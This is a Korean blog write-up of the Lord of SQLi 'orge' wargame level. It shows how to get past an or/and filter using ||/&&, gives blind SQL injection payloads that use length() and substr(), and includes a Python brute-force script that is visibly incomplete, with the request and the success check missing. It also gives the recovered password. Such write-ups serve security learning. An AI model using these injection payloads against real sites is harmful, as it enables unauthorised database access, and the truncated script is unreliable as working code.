문제다.
문제를 보면
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
or과 and를 필터링 했다.
우회법은 이전 라업에서 말했듯이
or -> ||
and -> &&
이렇게 해주면 된다.
문제풀이 조건을 보자면
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
pw의 값을 맞춰야한다.
즉, blind sqli를 해줘야한다.
?pw=' || length(pw)=~~~%23을 이용해 pw의 길이를 알아낸다.
여기서 ~~~는 대충 숫자로 부르트 포싱을 해준다.
pw의 길이는 8이다.
이제 substr()을 이용해서 pw의 각 자릿수를 파싱해와서 부르트 포싱을 해준다.
?pw=' || substr(pw,1,1)=~~~%23을 이용해서 한다.
이것은 경우의 수가 많아서 python 코드로 했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import requests
import string
cookies={'PHPSESSID' : 's1u123ups7a7qqld45lascnbj3'}
idLength = 8
arr = string.printable
arr = arr[:-38]
result = ''
for i in range(1, idLength+1):
for a in arr:
print("num : " + str(i) + " a = " + str(a))
param = "?pw=' || substr(pw," + str(i) + ",1) = '" + str(a) + "'%23"
#print(param)
new_url = url + param
print('='*15)
print(str(i) + " char is " + str(a))
print('='*15)
result += a
break
else: pass
print('='*30)
print("result = " + result)
|
프로그램을 실행시키면 아래와 같은 결과 값이 나온다.
?pw=7b751aec를 해주면 된다.
'Write Up > los' 카테고리의 다른 글
los vampire[9번] (0) | 2020.01.05 |
---|---|
los troll[8번] (0) | 2020.01.05 |
los darkelf[6번] (0) | 2020.01.04 |
los wolfman[5번] (0) | 2020.01.04 |
los orc[4번] (0) | 2020.01.01 |